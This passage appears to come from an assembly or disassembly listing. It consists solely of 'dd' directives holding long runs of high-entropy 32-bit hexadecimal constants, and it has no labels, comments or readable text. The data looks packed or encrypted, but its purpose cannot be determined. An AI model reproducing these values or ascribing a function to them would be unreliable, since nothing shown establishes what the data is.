958878A7h, 0F66244F9h, 0F036D6F3h dd 7F5F9068h, 41D71CA3h, 0AAE956B5h, 3C210AFh, 4BA24C05h dd 6D88A525h, 317000CBh, 0D6F72B67h, 0EB8232C4h, 15DFC012h dd 7D259C77h, 0F925A29h, 2CFD0223h, 656F22Dh, 17800C08h dd 0EA48C15Eh, 51C31A8Eh, 5C047D4Eh, 245F8569h, 6235F8F6h dd 62295D1Eh, 0E8E075B3h, 1B2438CEh, 0E40E272Ah, 0DD0EC9C3h dd 8DE9EE02h, 96827C8h, 2F347C4Bh, 7F8CA2EAh, 7E6C7725h dd 0A1FBC41Fh, 705AD9D5h, 0EA405E22h, 99ED3080h, 0EB280906h dd 1C6E48FAh, 7A0CF1Bh, 650B57D5h, 0C9529F47h, 0C9252A4Bh dd 7C8AFBEBh, 7987AF48h, 0D34B08B1h, 0A0680910h, 0D375A5C2h dd 0DFF4EB6Dh, 0B394757Ah, 6D8CDF80h, 0D34C701h, 19B3278Eh dd 5462E9ECh, 5B54A278h, 0BADFCC49h, 5F21AC19h, 6922BBC2h dd 2E08E90Dh, 0F62F78E4h, 5371096Ch, 0E87546ECh, 53B1E9B2h dd 683FC37Ah, 517C6025h, 205D6E60h, 7B577911h, 0E9FA0CF7h dd 0C6F77E9Bh, 3472A60Fh, 83936D6Ch, 0B61EB769h, 0EDAECE84h dd 60DDEE13h, 3DEE5D7Eh, 7B1FF7CAh, 0A159D30h, 7286D3F6h dd 0BE4B5D9h, 35B45001h, 2006F480h, 0CDD8CA31h, 1BC05CD4h dd 4E7ECA5Fh, 882DC2B8h, 8D16DD56h, 5DE76656h, 8E614ECBh dd 2FE8D858h, 0BB200141h, 8BF741F8h, 0E845A526h, 4D2183A7h dd 0E402B1E2h, 29083962h, 8205256h, 4F140CD0h, 48C8AFC8h dd 2C800828h, 817E0414h, 666DCEA0h, 7314C75h, 0F8302210h dd 56225821h, 0BA6EB84h, 0D5B50059h, 959F35ACh, 139E20Ah dd 72941F64h, 10E04429h, 0B84BE0D2h, 0ABDC8B30h, 0ADC47C0Eh dd 677FD842h, 2221A799h, 3A361668h, 0B553CBCCh, 526512D3h dd 5C831FB0h, 0CB6BFD7Fh, 298C104h, 805AD588h, 0F65107E4h dd 0E9FAA054h, 0B10E615Bh, 2E638868h, 2E233ACCh, 8131C559h dd 2A927F9Eh, 0D0F8A521h, 67681CD0h, 3842384Dh, 5098582Bh dd 5002F839h, 0A4E922CAh, 0B072E668h, 16570F92h, 59C54E2Fh dd 0F2F31318h, 0B6A113F0h, 37B72345h, 7F8380BBh, 5280E730h dd 0A0FA5F88h, 0F9955BA7h, 3E98B52h, 80DF7042h, 0C901AFDDh dd 0FB29250Dh, 80C17266h, 3B1B555Fh, 626E57Bh, 1C831C08h dd 58A21801h, 33FF1C22h, 4CD12720h, 0D6810510h, 40DCC815h dd 0C739648Fh, 0E9491804h, 0D4FBE06Bh, 4E8EBEADh, 92EF5F5Fh dd 0C4EDBCF0h, 7A18F3B4h, 0A7279E6Fh, 167E58F0h, 0FA5F6E68h dd 5A30302Dh, 407C5BF5h, 0D74DC201h, 0D8EF424Fh, 0BA5033AAh dd 0E912D6B1h, 959CDC02h, 0F6594ACEh, 5B239523h, 9AE02835h dd 654BD4B0h, 25C52E77h, 978FC2F8h, 0A7BAC5FFh, 5A4FD854h dd 0F6E54CFBh, 0AF125151h, 4718A13Eh, 0AB647F8Bh, 0A574A490h dd 284F4014h, 0DBE76F0h, 3D20E906h, 35669738h, 164A0FB7h dd 0DAB378AFh, 0DE977770h, 0FCD6527Bh, 0FCEFAE42h, 28B751C1h dd 0BD9E4010h, 21142A1Eh, 68B32CC9h, 5022F204h, 63F8D046h dd 5B542D85h, 4DBF1217h, 64925667h, 0C2E657AEh, 8291514Bh dd 5581A8D9h, 0DE2F57C5h, 0EE6DEC7Eh, 0CBC117C1h, 21C56C60h dd 0EF6059D5h, 0AB25E1E1h, 0DD103662h, 0B0680BC7h, 5220DC69h dd 18342B7Eh, 5B532AAEh, 501DA044h, 2215E903h, 7042F48h dd 7283770Ah, 66518BCEh, 4F4CB73Eh, 1FF2524Bh, 9B1A204Ch dd 51751003h, 0D7C11287h, 6F76062Bh, 2899BAE8h, 7856539Eh dd 60FCEA21h, 6A7E9B36h, 65BCA7A6h, 5BDBFCD1h, 0CCDF5CE2h dd 250AFC85h, 0D04CBD00h, 0E06351Ch, 448758Ch, 636F0746h dd 343DC731h, 4CACB6DAh, 40C5385Ch, 75D90AEDh, 6DE06FDh dd 222E0FBAh, 2A2B522h, 2B5547C1h, 4CDD586Ch, 0E95B0BE6h dd 99FEEE71h, 435DD4AFh dd 0DFF93FBAh, 0F7AC3E46h, 1D6FF72Ch, 39C24390h, 1DD9AF35h dd 3B53E7Fh, 826F74E6h, 0B47156F3h, 0F45727C1h, 49B9EC7Dh dd 5653519Eh, 11BEF6C0h, 2D23F26Dh, 8C9BF229h, 0B0056658h dd 0A1151BBh, 5B6871E8h, 0AE986C2h, 0C5077BD7h, 735C4C70h dd 0F227F560h, 89B7125Dh, 6900CE9h, 96C4E24Bh, 5B0EE36Ah dd 68F50032h, 0F71E8577h, 0F3DD758h, 30CCE906h, 9100AA4Bh dd 3205356Ah, 0CE76E35Dh, 8D4DFD5Bh, 0F63C91D2h, 0F281CA00h dd 4E250317h, 13013098h, 0E9C1408Ch, 0D6280730h, 281A2C81h dd 100237D8h, 0C75FCA31h, 21F08A45h, 0B7B71EB4h, 38C3BA68h dd 6630BB4Fh, 0C5714B68h, 0C8130D47h, 215F3387h, 0E5E764E8h dd 0C0F1F861h, 6B3856B9h, 7F8AB862h, 78BB08B4h, 820CF01h dd 77F1595Eh, 1220EBCDh, 6D4824EEh, 8C312BBh, 73EAD29h dd 0D3522DDEh, 57FFFBA5h, 51A4984Bh, 3C20B490h, 2052FFCh dd 69E4BC74h, 0B27FABB1h, 8D28CAD7h, 5574E2AFh, 352C12Ch dd 0BC27314Fh, 0B2E16E85h, 0F8F5C7EDh, 5970887h, 55A51057h dd 26188D2Dh, 0E0C5FDC4h, 1FD1BFFBh, 0C9BDD88h, 48F2495Eh dd 7C940800h, 0EB53CF05h, 0E9400976h, 69B2094Ah, 68161744h dd 83EC3F11h, 50AEBDB5h, 459A54CCh, 8A3E2866h, 0F56D2F7Bh dd 7309A0D3h, 0E85225BFh, 4302B0FFh, 8100FE76h, 7D57D2E2h dd 4DBCE902h, 0A096FED6h, 702568B6h, 0BAB7982Ch, 676B0027h dd 0D771BD32h, 0A9A8482Dh, 6394C4E9h, 0E950510Eh, 8042A7E5h dd 0E130FAC1h, 0B7103563h, 0D9E95EEEh, 10C7582h, 17F08A64h dd 0D3FB6960h, 3AC05A66h, 12CC05EBh, 25064110h, 1A2D9B5Ch dd 460D1A78h, 0CD003154h, 31A94C4Eh, 6B6FB8CEh, 19021C26h dd 0B1039751h, 25C1E943h, 0B54CECF6h, 7773ADA1h, 0D1EC52DBh dd 0BDEE6072h, 81C43E5Ch, 58C80587h, 8DD81F3Eh, 2B2AFD50h dd 326923E3h, 22457Dh, 696F0FEEh, 68EC293Fh, 0D2373827h dd 1082E23h, 0ABAB646Ah, 0C7FE0E06h, 0EF800204h, 3C2368F3h dd 356739F4h, 60F2EDD2h, 74E828F4h, 7FD3952Ch, 0DFB1E312h dd 8AF6AC95h, 4F01AC4Eh, 508164ECh, 3A4671EBh, 0A90B9BBDh dd 0FD03A82Eh, 34481CA4h, 4E956509h, 68A07EE8h, 2D3129BDh dd 0FB126844h, 99EC52Ch, 5D4F97Bh, 77615572h, 61172E5Eh dd 428D9890h, 814D0FF3h, 18FD22E1h, 40F40C21h, 0FA71382Fh dd 74BD1E6Ah, 0A2E9059Dh, 82B25FB8h, 13BF0A4Ch, 87A085F8h dd 5015F02Dh, 0C05D6C48h, 0F466AFB9h, 0F187367Eh, 6EC10890h dd 70D909FEh, 2C7FB40h, 550024Ah, 56E47A7Bh, 442D0041h dd 5DBA6007h, 644DB2E9h, 5E31AD6h, 0DD25DD8h, 0E4DBA802h dd 0E2D9892Dh, 7A86C007h, 0B8175AB5h, 0B5B0D366h, 3A352D68h dd 158F2FEh, 0ADA8A5F3h, 6C1FCF1Bh, 4E8943B6h, 0C188FD01h dd 0B3591208h, 64FA4E23h, 0D223A234h, 45BBC900h, 6037951Eh dd 0D00D4E4Bh, 65A01219h, 4E1035F1h, 3548257Bh, 50EC1628h dd 2C2927BAh, 0C9995AD1h, 105D372Bh, 5E015DD8h, 0D396A2EEh dd 0A64BD78Bh, 42BA4E7Ah, 0BD8AE991h, 256F4A7Eh, 0FF4733Ah dd 627412CEh, 0FE180015h, 213D76FCh, 6DFAB97h, 0B2BA279Ah dd 28CDF809h, 0BA9A2FDh, 3FD5431Ah, 8A05BDEh, 45E95F09h dd 0EE797AA7h, 6F4E0329h, 6E1C174h, 2ABC1205h, 0C709D4ADh dd 0DEE55559h, 66B1E986h, 0E4C205A9h, 0AF0DAD47h, 8073BD4h dd 7519425Bh, 0F5E25113h, 0ED80ACD6h, 36C11D1h, 94D54C29h dd 1E248E1Ah, 0CB777681h, 5DD64075h, 4B5B0F35h, 24747BB4h dd 1925364h, 0B66BA1C9h, 0E91C853Fh, 1AC8FC9Eh, 214B4B89h dd 0CF14F7BFh, 9DD4C1E4h, 6C0101B5h, 0CF67CB88h, 0F81DE025h dd 3A06FD2Ah, 6E1E9A0Bh, 0A05BD97Eh, 0BE56010Ah, 7A8D6DD5h dd 0E6F23A01h, 459B4398h, 687B131Ch, 0C0B96153h, 66A4824Bh dd 8799E543h, 9D83DAF2h, 5D8F6BCh, 1FE4199h, 2D61D07Fh dd 0B69CE90Eh, 0D773A26Fh, 5609EFA8h, 57613BE9h, 0EDC0DCB5h dd 0C5800607h, 0A96ED026h, 0F5C483CDh, 0DE1601AAh, 8CE9BC04h dd 0DE656D39h, 5D2532FFh, 40B4F1C6h, 740E78B9h, 0F1314112h dd 1A41F02Dh, 8F610F18h, 71624D40h, 0E86D4BA9h, 10EF4CF9h dd 0EE4B277Eh, 0E02B6F3Dh, 34B4021Dh, 0C3305C05h, 68C0B6A2h dd 17AF11C9h, 0B625A53h, 7301156Bh, 2518BE83h, 5EF543A9h dd 2B532D00h, 0E8015FF4h, 607A205h, 95288C82h, 0D75A9C79h dd 0D009FE4h, 812A3378h, 486346F3h, 8541AED4h, 14BCE3E4h dd 91772606h, 0D9FF6C0Bh, 5BDFDA82h, 40266E5Fh, 819F3214h dd 0C7668F6h, 3E050866h, 0BA221629h, 7350B000h, 0B0DEF731h dd 366D0BE0h, 15D4447h, 0A0C7E92Fh, 8C4B3C9Dh, 0BF0CAA08h dd 5E069909h, 0B63A8479h, 0A217BE07h, 7A5F6142h, 41890CA5h dd 465C6BD8h, 0FC6E5EC7h, 0E0DB9457h, 1626C1D4h, 0AE0FA651h dd 4008AE50h, 2E5FFEA3h, 47AFD724h, 93F8E70h, 0BBD645DDh dd 0FB1EC4CBh, 0B73A40D9h, 9FBE13DBh, 5BDED646h, 1245F298h dd 0FF01280Ah, 0E906F909h, 0CA80029Ch, 7CFE74C5h, 10C1EED1h dd 311EC622h, 12BAB83Bh, 4AD27609h, 95B7C1Ch, 3B7FC946h dd 0FC9FDABEh, 197C25F6h, 9549E978h, 0FD65209h, 0C24BDE25h dd 94DDA0B2h, 12025E9Dh, 76B1AC72h, 2027ADFAh, 0E8E9E121h dd 704C8E3Ch, 9EBB661Eh, 4758D228h, 0C42CBD51h, 8E0BEFF8h dd 404EE24Eh, 7A1CC129h, 85362534h, 0D89F566Eh, 512BC270h dd 8286BAB1h, 0F307293Ah, 7A533D5h, 872C63B2h, 0F73E5CA6h dd 0D3E227AAh, 304B1953h, 1571E0h, 8138654Ah, 0E47E71E2h dd 0CA0B3C76h, 54B362FEh, 5CE82A86h, 99104057h, 0C0B6071Ch dd 0E630CEFEh, 0E3C68003h, 0E9EBB0CFh, 5397A833h, 664F2F68h dd 80C0E1F6h, 0B865DD2Eh, 54CE3DF7h, 46024F8Ah, 95E905F2h dd 846FA929h, 0E4AD300Fh, 2ADCAF93h, 25B9B452h, 2FB5B772h dd 9578B6Eh, 50E450BAh, 4A6E8046h, 0B6753202h, 0F62CB460h dd 900ADD64h, 0E905C4C0h, 0F3F25FD2h, 3064C1BEh, 84206BBBh dd 0FD4017ADh, 0CF64A014h, 703F952Dh, 0E87F20DBh, 5523909Fh dd 1FEA2068h, 0AD5DE910h, 309DB107h, 200E9BCBh, 71DDFE12h dd 840F4100h, 2036BE36h, 0E9624EAFh, 7DD8A293h, 0EC5D4589h dd 56B4C1C7h, 647C6C02h, 0FF023B89h, 0E9F72975h, 279B7CF5h dd 85EC28B8h, 2F8CCC82h, 0A7D158C5h, 679862A7h, 0FAE9060Eh dd 409B581Dh, 6E41C240h, 2C5C6911h, 0FD934056h, 6E43490Dh dd 85C7353Fh, 2A26F183h, 0D43BB039h, 0F637C148h, 0E1DE4D51h dd 2E07D064h, 60230697h, 517ABF0Fh, 4193E524h, 5756EBE2h dd 2FEFC999h, 2CEE1512h, 0BD0555CCh, 583A4268h, 53F982FEh dd 8674A164h, 0BFDA4BBDh, 5554A429h, 8DAB4B81h, 0E9546707h dd 95251209h, 5D800BFEh, 0DE544C62h, 0F4EF003Bh, 92B85072h dd 1B1265Eh, 490E1CE2h, 0C2D5273Bh, 2080B85h, 43FA6AFh dd 0B9C0BA45h, 205086CDh, 0E075218Bh, 683BC204h, 0ECBC5D38h dd 8EDF3FC5h, 0A2277DA9h, 20136EAEh, 0B607983Eh, 5AF7287Eh dd 37C4CF07h, 0E7BF7BA0h, 1232F84Ch, 0BA22F415h, 0E089A50h dd 56D6685Fh, 7AA79E60h, 136AB46Ch, 1880E802h, 0EA4DFF0Fh dd 2F25172Ch, 410BBD62h, 0CA773008h, 0C86CA40Ch, 9A51A45h dd 31F34601h, 9BF457Dh, 77E075E9h, 1598B652h, 885AF509h dd 49E479EFh, 96209B7Ah, 30FF3B95h, 11027F0h, 8FA9DF4Ah dd 0A4191E57h, 840E4B0Dh dd 0E48DBE2Ch, 3301F16Bh, 50B79656h, 0CBAA95Fh, 7C2DB7E9h dd 8B009B8h, 52005556h, 17791B4Eh, 8D8289Fh, 3465808h dd 26DBC3EFh, 118C50F7h, 6A9F7B89h, 5E08001Fh, 0AC7CBD68h dd 5CC6BFCAh, 781DA802h, 5FC5E935h, 0AD250D81h, 0BE003E7Ch dd 6162ABBh, 5FE97312h, 9777F2D2h, 0CE1732ECh, 0CB9E40D4h dd 5F09F974h, 0F2C279Eh, 85403510h, 0D26D14CAh, 0CBD49352h dd 37F65D25h, 0F5565CE2h, 0E9190D16h, 0EBCD5EC3h, 0C7A17A88h dd 37EE5C12h, 0EE7E7BF7h, 4E30E42h, 64D0FF5Bh, 98AE5883h dd 3C9CA0F5h, 83F4830h, 2879E617h, 0F17D0117h, 0F1136527h dd 0F1DB9A03h, 3FC4CCDDh, 47187DEDh, 0CEC347B4h, 6D146B17h dd 0F105E6ECh, 1379D4Ah, 8476A2A1h, 3BEB213Ch, 9AA73E01h dd 533EF949h, 0D8568079h, 5E13EA2Dh, 8FFB71CFh, 0C2D84BD0h dd 0E9554053h, 0BD1EAF5Eh, 41E3884Eh, 648A5BDDh, 6CE53761h dd 2540ED2Bh, 94EFE455h, 29CA25BEh, 0A168FA48h, 0D6954B70h dd 0ADE9708Ah, 0EC65F2BDh, 0E7FA4B18h, 11AD97E4h, 4B5AD585h dd 6F80F5B7h, 4B9E32F1h, 89C58103h, 0F4217628h, 89ED80C2h dd 53C6D708h, 552C3442h, 388E82A8h, 16D506C7h, 0FEA50FCh dd 0C5E5BD5Dh, 8B09DF24h, 68B4F73Ch, 8C89CB9Eh, 9F6E081Ah dd 0C6FD540Bh, 805F7E05h, 5870E630h, 0D59A4ABDh, 57C51271h dd 63AF2181h, 4BBAA36Ah, 8D581493h, 0E951B860h, 0EA3B9A8Fh dd 0A7429F9Ch, 2DC6E77Dh, 1D2CD9DBh, 0AF392324h, 1BCF61Dh dd 29043C30h, 15A21F3h, 2414E908h, 0C67F687Bh, 5D3619BDh dd 0E696E672h, 51A34A9Dh, 0E041E913h, 6BE8B970h, 84102F30h dd 4E2C7E69h, 0F76CA00Fh, 49FEDE64h, 0FB9C9F4h, 5237D315h dd 6B38348Eh, 681756CAh, 0D601B5Eh, 4F2158B8h, 2FBA0C49h dd 5A4B41B7h, 73605A8Ch, 0E9181271h, 0BEDC8108h, 2992F855h dd 1F5EE3F4h, 0F2C5FBF8h, 0E9AA35E0h, 9EBEC5CFh, 680B54F6h dd 877C2AC4h, 27E937CCh, 46C7E70Ah, 48BFC330h, 43183C60h dd 5A3EFD24h, 0E9561340h, 0EE52C827h, 0A4C893F4h, 0FDC5278Bh dd 557D4AA5h, 0E95937F9h, 0DD49CAEAh, 9455168Bh, 84E92771h dd 0C505DF80h, 692D2859h, 5CB9185Dh, 0AB7B2AE9h, 65E420C6h dd 2C5CDAF4h, 8703F14Dh, 95F0A63Eh, 685210ABh, 255E5D50h dd 52E31220h, 8B619BE9h, 0F945346Dh, 48D56978h, 4CABA9Ch dd 891B5143h, 8561AED6h, 0EF04327Dh, 844BDBF2h, 3E16C9E9h dd 2831AE05h, 5919915Eh, 0B42EDFD8h, 0C9727F8h, 5FBF1808h dd 7368F439h, 0E59B9FE3h, 0DEED7049h, 6C17830Dh, 0C050448h dd 2A054F36h, 91A34C25h, 17555327h, 30B681CCh, 0CFF6E680h dd 61E99A90h, 69EC064Ah, 0E5F1D3C9h, 8074B683h, 0C91A12C6h dd 0BFA03575h, 65FE2588h, 0C4FB4EC6h, 89BB47A2h, 0ECC174CBh dd 4BBB02EEh, 0DF3D8A52h, 10885B02h, 14B4554h, 4E14E52Ch dd 418E1220h, 7EDE4192h, 0A1277F24h, 9D9DA5E6h, 342699D9h dd 8A45A412h, 11804DDDh, 60D039B9h, 18FB0C31h, 0E9253869h dd 0B77B501Fh, 21256514h, 362116D1h, 6AA7E693h, 0BE70A6B6h dd 7C180470h, 903677E9h, 3F2E2138h, 0F82A427Ah, 0CA77C220h dd 29F77254h, 97907095h, 2B585D7Eh, 48E6BDCDh, 95F4AC20h dd 3012E140h, 2E4B1448h, 59938508h, 0E5E00504h, 3FE089FAh dd 0B64038E2h, 0B6E082CFh, 0F495EF2Ch, 9925E232h, 0FEEBBAA9h dd 0B06495A5h, 6098A392h, 52807695h, 0D4C642DDh, 86B8625Fh dd 6842A6D4h, 4B93729Fh, 536287B0h, 8617DE4Ch, 5D21DC2Ch dd 0F92A5452h, 7A52F26Ah, 943E2098h, 0F4E7800Eh, 500769C0h dd 0B8CF0F85h, 6152DEE9h, 3641561Eh, 0FA0910E8h, 9B04EF4Bh dd 7BACBBB9h, 9A209DD0h, 77FEB080h, 0EBD8DEAAh, 0A871A93Ch dd 1052A958h, 7D6812C5h, 60D21AECh, 0E4E98119h, 428A4016h dd 4896E71Fh, 2214635Fh, 2C3870B9h, 4C89D28h, 0F8D2591Ch dd 0CAD3DAA1h, 10717DF5h, 0E0970A64h, 0D02864A0h, 83ECE92Ch dd 3D5BB5B4h, 0D2AA92BDh, 0F7B870AFh, 0F62468F9h, 0E961FB6Bh dd 8D349CD7h, 0BF401341h, 7225EF4Ah, 0BC719880h, 0E9AF1CDBh dd 0D56625CBh, 0B7C24820h, 4CC1F5E2h, 20C42B29h, 40FAA6AAh dd 0A578EAF7h, 291BF81Fh, 300CD629h, 7AC3BF15h, 27891DFCh dd 20B9A401h, 81629508h, 39C4AFDEh, 2FB0A2BFh, 5B785457h dd 5A5DF89Ch, 0ADD26AA9h, 0BE8286F5h, 0ACEB4B1Dh, 5F94884h dd 5C587986h, 254A48C6h, 59DC056Fh, 16BB5FC4h, 2688D80Eh dd 6804CDBAh, 0AE069E8h, 0A04EA58Bh, 0BF9008E3h, 22E31C4Ah dd 0CC5BD95h, 0C739EA28h, 0BBC89DF8h, 0C9579E3Eh, 72311E63h dd 4C5ED568h, 0A9B85114h, 6445A624h, 0B5A01CEh, 7CF85862h dd 0BFDFF2B4h, 127C4542h, 2950AE26h, 9D72AEEAh, 3025B353h dd 0B480E9E9h, 61F82DA3h, 0CDFE371Eh, 0DCE498DDh, 68C33060h dd 3E2CE94Dh, 0A3B85080h, 77EA76Dh, 24E4324h, 7E21C6Ch dd 0E9107E63h, 342678C0h, 0BBFC840Dh, 0FEB1A70h, 5F3ED215h dd 0FD73FE2Eh, 554507E2h, 0EC1A466Bh, 1F4D025h, 270924FBh dd 2D05B1E9h, 0EC31B22h, 920C052Ch, 0C4145919h, 1A648446h dd 14090C08h, 0BEC3F8D1h, 9E9858DBh, 82122D77h, 16F7FE2Bh dd 4184906Ah, 93462012h, 97EA04EFh, 0C8EFF726h, 5D51003Bh dd 0CD874959h, 11F50281h, 4540EC27h, 98FD6BF5h, 0EE869A7Eh dd 98DFA401h, 80A94035h, 0DECC326h, 5425D010h, 42D793B2h dd 9216DD7Dh, 1ADCE4Dh, 9320B505h, 7AEC2D6Ch, 478FBF39h dd 2C7B0794h, 47450A10h, 0D9F43BF9h, 0D371E951h, 0A4C1249Dh dd 85C812FBh, 874AFA3Dh, 0B382A11Dh, 55DA280Dh, 53E2AEE0h dd 0E96FB70Bh, 88C378F5h, 1A21F6F1h, 1A1E887Dh, 0FF088BD5h dd 97BCD314h, 0F6635012h, 0DF14F0BEh, 87B8343Ch, 0D654E80Bh dd 0A2D4CCAAh, 0E58C164Eh, 8D311F73h, 9FB35428h, 0CEC4C158h dd 4259D84Fh, 86C9814Bh, 520519D9h, 0EA3E745Ch, 8DC538B2h dd 51F1A679h, 5D2D9227h, 40F3CEBAh, 681806AFh, 35495C11h dd 0BD2BE1BCh, 21ECD742h, 8184405Eh, 347E5EC7h, 0D494645Fh dd 5A090812h, 0AFF7D3C3h, 8A9ED8F3h, 89895A64h, 5AEDE3CDh dd 0C120AAAFh, 16AE03A4h, 0C56EE966h, 0B981EF4Bh, 822984EDh dd 45CB0A01h, 6FDD29A6h, 7B8FE27h, 82F83058h, 0E6D7E5CDh dd 6BC89568h, 538018A0h, 48320068h, 565B4527h, 5E05C2BEh dd 0F3311D6Bh, 43EBB60Fh, 0B70A8C7Fh, 0E6880790h, 0E9530B40h dd 0BE595018h, 6885F72Ch, 3DAE2F94h, 0A30F6B8Eh, 4AF087B0h dd 415AD180h, 0E7772AE9h, 55560311h, 67FF6866h, 45B35DA3h dd 1FE181C4h, 1E587018h, 0ED3FAF41h, 0A905026Dh, 5D049563h dd 1607BD88h, 85CDE95Eh, 3CFA1D58h, 0AABC7211h, 27906802h dd 0CB325FD3h, 54A9CF60h, 0FF661A25h, 5556C78Bh, 78719207h dd 87E07579h, 449F4D4Bh, 876AB7F8h, 57C929DCh, 5AADAEEFh dd 0F1A520EEh, 73D7804Ch, 8FE0C628h, 4B4EA73Ah, 28015743h dd 158E3E6h, 0EED02222h, 7A49AA68h, 7595445Ah, 0F8253C67h dd 0ACE24E19h, 14EAB211h, 51F0229Fh, 0FD680008h, 4F5B2342h dd 0D405C8FCh, 27638249h, 2D074091h, 0CC06B47h, 3516526Ch dd 59CA2D89h, 87B9C254h, 699A57AEh, 4724F260h, 29280292h dd 0A2ACE9D0h, 81CDBBC9h, 1E8FF562h, 5AF93284h, 6804072Ah dd 3C348998h, 0E76EE6F1h, 5FEE7C7Ah, 81685909h, 6085DC50h dd 227F8CB9h, 0E9A86F79h dd 83CB188Eh, 5463A45Ch, 0A25F6AA9h, 5BE9A041h, 8DAB5D8h dd 0A703A8E9h, 76055C01h, 1B95E973h, 54F42FA7h, 0C3477A19h dd 480E0AC8h, 2E50271Eh, 8FB09CBBh, 0B87711BDh, 0FB6EF16Eh dd 73C1EF04h, 75C51C76h, 79253889h, 9444A0EAh, 334F15F6h dd 0BD318F9h, 0F40B5AB2h, 20CBA219h, 0C2F0D85Eh, 7FEBBFFEh dd 2E441C8Dh, 5BD2E6ABh, 341195BCh, 0A5FC4F17h, 0A1FEB789h dd 0F09C7D2Dh, 8810F495h, 0C032F951h, 25EDFCE5h, 0E9D85AF6h dd 0F9905EAEh, 234A20Fh, 0C6595168h, 730486EAh, 0BEC678h dd 601EF887h, 0EE1C8309h, 0C42CE9FFh, 570BAFA0h, 0AB97AE3Eh dd 13AF764h, 4D3BD000h, 6FBE1239h, 58085039h, 8337BBFh dd 2CA803C7h, 0F4CA8F6Fh, 2D19F93h, 0C0AE907Bh, 7B83E5BDh dd 0F728747Fh, 880989D5h, 547D79h, 0C6682220h, 7572BF4Bh dd 2A5D0881h, 0C2B2F1F8h, 0CCB8F6F3h, 0A7763FA5h, 0AAA1E3DFh dd 49F25FDAh, 0F624E29Eh, 0AAD7E72h, 896A3F33h, 0DF4364E9h dd 749FC0F4h, 96B8C258h, 3B5DCB7Eh, 21277AC0h, 181CF5D8h dd 0F6881F9Ch, 64830D9h, 2767F73Ah, 9072800Ch, 250B7822h dd 0A85C0C10h, 85B5572h, 0EBF9E90Ah, 2CB778ADh, 0B0D6EA41h dd 81E4C26h, 0BB535801h, 3AD350F0h, 790A043Ah, 0C1C9AA28h dd 123EA7E3h, 0EC92E7F8h, 0C5A4A42Bh, 605B410Ah, 0C1F0467Fh dd 0BFA980B5h, 16846D63h, 0F0D73130h, 0A3AC76D8h, 0ECB5E6EEh dd 25059F0Dh, 1076B9A2h, 9740FBEh, 79ED09D9h, 7620DA74h dd 5C0EF5Ah, 5C43BA66h, 0D8254E2Ah, 0DB5CBAA0h, 34C19021h dd 3D9456E1h, 0B87A856Ah, 0BA27203h, 0A743A8FFh, 9D3C9C25h dd 0BB8D5CDEh, 3920740Eh, 68EC40ACh, 0F51A2B5Bh, 7A7BD7C4h dd 3DB6D731h, 2B9C993Ah, 68AC7BA8h, 651C072Fh, 85EBACE6h dd 0AC1F0617h, 0C5E04BECh, 0A3AB4EB2h, 27D9128Fh, 0BDD63CF9h dd 56E98512h, 9869A4B8h, 15A8CAF1h, 3A703B18h, 0E65BDF20h dd 9E505CC7h, 2CA95725h, 5425B280h, 0C7FA31FEh, 0EA84C3EBh dd 0F815E3E6h, 6518DC13h, 0F0B20AC4h, 35880EEh, 3FAA8003h dd 9A295F4Eh, 9088333h, 0B32B6D1Ch, 0F5313982h, 2944F8D1h dd 0C5C1F3EBh, 0A2A0F2E9h, 2330E343h, 2422790Bh, 880290Ah dd 57003450h, 0FE696268h, 0A45F5F6Ah, 3B2401C6h, 7313D84Ch dd 0DD554FC2h, 9C9F05Bh, 54836131h, 16FC25ACh, 5C3F886h dd 95E3DBDh, 39B883EEh, 0D0910D4Ah, 3B074290h, 21FD2680h dd 0CC70E26h, 439069D1h, 5AE9D589h, 0B2D085D8h, 845F4A8Bh dd 7F6E588Dh, 80EA5297h, 88525B5Eh, 0C604E64Ah, 35B8C0F6h dd 0A138D4C1h, 0E5B82F43h, 2D68F805h, 70A1444Eh, 2DFE1695h dd 30AC3FE2h, 86B49BACh, 0A5ABBF00h, 0A0176AAh, 0EA315FFDh dd 86C070DAh, 9FF19495h, 382BED40h, 0C3D4A30h, 4F8465C0h dd 3FC3297Ah, 3858DAA3h, 3168C944h, 80152919h, 48B800F1h dd 3EDF2D6Fh, 7F9A27E8h, 85F1028h, 0B74A3702h, 57442949h dd 0C20A2D9h, 1C1314F1h, 25E47C08h, 1A0D0F48h, 7E1B7158h dd 2F28960Bh, 6667684Bh, 0C2B9814Ch, 0C2645E8Fh, 0CF321868h dd 0A6532CF9h, 2BFF0310h, 6BDF1189h, 625B2127h, 6455B485h dd 6040FC62h, 6EC63FFBh, 1C4A7E2Eh, 0D388DD81h, 60CB2901h dd 12B8D44Ch, 5E596413h, 0FFAA14FBh, 1A22C281h, 0FFC16B6Ch dd 6F8BF644h, 0C5ECD089h, 0EC1F3020h, 0F82C2D57h, 0CB1D2F75h dd 93395074h, 0E025BE2Fh, 5D4A1AD0h, 4481CE64h, 0E6DA0968h dd 0B45AF077h, 0F7B8607Bh, 1F78EF71h, 28C616B5h, 20A2EED1h dd 590FA512h, 955D72Dh, 8168B6Fh, 0BD2A087Ch, 580A9298h dd 9A45EA74h, 942D9102h, 1A234112h, 9F01FCDh, 92E912D6h dd 9F2544DAh, 0B0FD4F50h, 7F056606h, 1D7F084Ah, 2C272DF0h dd 69B15F7Dh, 21A40734h, 312989Ah, 0C4D1B8FAh, 2DAE1278h dd 0B6AA0099h, 361A6E75h, 0DD0BB235h, 0AAE92181h, 0EAE26F2Ah dd 0E840F225h, 0C61E92BAh, 2D9603BBh, 3BD2CA0h, 2F783AE3h dd 3A20EE21h, 0E1883967h, 0F0B2B54Bh, 0F596DA8Ch, 0F5556A6Eh dd 5BEDBF3Eh, 68C5FDF8h, 0FAF01724h, 1E33DB03h, 731D94Eh dd 4882E73Eh, 64B7195Ah, 3038C80Fh, 0FD2B02A2h, 6EE94619h dd 0D8AF2E95h, 0E24D3FAAh, 0BF5700D4h, 47986E17h, 0F2DF50F7h dd 72491676h, 19DF86Bh, 2C93CF81h, 806A20CEh, 0C5929B8Ah dd 8C92C44Fh, 0FFC550BCh, 99041A70h, 0B405444Ah, 831E408Ah dd 0E54201E8h, 0D7C192C8h, 83108947h, 1171BB5Ah, 0E92962E9h dd 0C318F11Ch, 0CE29CDC0h, 59A1F3E9h, 29B52F3Dh, 0D0F70881h dd 7555E995h, 40CFC951h, 0EC33EEBCh, 0EF7B4Bh, 5877E96Eh dd 62B58255h, 0C45CF12Dh, 0EAF595B5h, 0CAFCDE16h, 4714EA12h dd 0FFD13B76h, 10D8ABF2h, 0C5E892B0h, 0AFB68E2Eh, 116F6CEh dd 9473BACBh, 3AFED6h, 0F863AD35h, 43B82556h, 71F223Dh dd 5AF1743Bh, 9B0E73F0h, 2576BA58h, 